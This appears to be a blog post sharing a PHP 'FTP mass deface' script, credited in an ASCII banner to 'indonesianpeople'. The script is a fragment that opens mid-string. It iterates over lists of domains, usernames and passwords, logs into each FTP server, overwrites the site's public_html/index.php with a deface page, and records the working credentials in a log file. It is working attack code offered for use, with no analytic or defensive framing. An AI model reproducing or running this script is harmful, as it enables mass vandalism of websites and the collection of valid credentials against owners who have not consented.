Ftp mass deface (indonesianpeople)
______ _ __ __ _____ __
| ____| | | \/ | | __ \ / _|
| |__ | |_ _ __ | \ / | __ _ ___ ___ | | | | ___| |_ __ _ ___ ___
| __| | __| '_ \ | |\/| |/ _` / __/ __| | | | |/ _ \ _/ _` |/ __/ _ \
| | | |_| |_) | | | | | (_| \__ \__ \ | |__| | __/ || (_| | (_| __/
|_| \__| .__/ |_| |_|\__,_|___/___/ |_____/ \___|_| \__,_|\___\___|
| |
|_|
Coded by indonesianpeople
";
$ftp_server=trim($domain[$i]);
$ftp_user_name=trim($user[$i]);
$ftp_user_pass=trim($pass[$i]);
$o = @fsockopen($ftp_server, 21);
if(!$o){
continue;
}
$conn_id = @ftp_connect($ftp_server);
$login_result = @ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if ((!$conn_id) || (!$login_result)) {
echo "Error $ftp_server wrong password
";flush();
continue;
} else
{
echo "Connected to $ftp_server User $ftp_user_name and pass ($ftp_user_pass)
";flush();
}
$upload = ftp_put($conn_id, "/public_html/index.php", "index.txt", FTP_BINARY);
if (!$upload) {
echo "Upload error
";flush();
}
else
{
echo "File uploaded
"; flush();
$fh2 = fopen("log.txt", 'a') ;
fwrite($fh2,"http://$ftp_server User $ftp_user_name and pass ($ftp_user_pass)\n");
fclose($fh2);
}
ftp_close($conn_id);
}
0 comments:
Post a Comment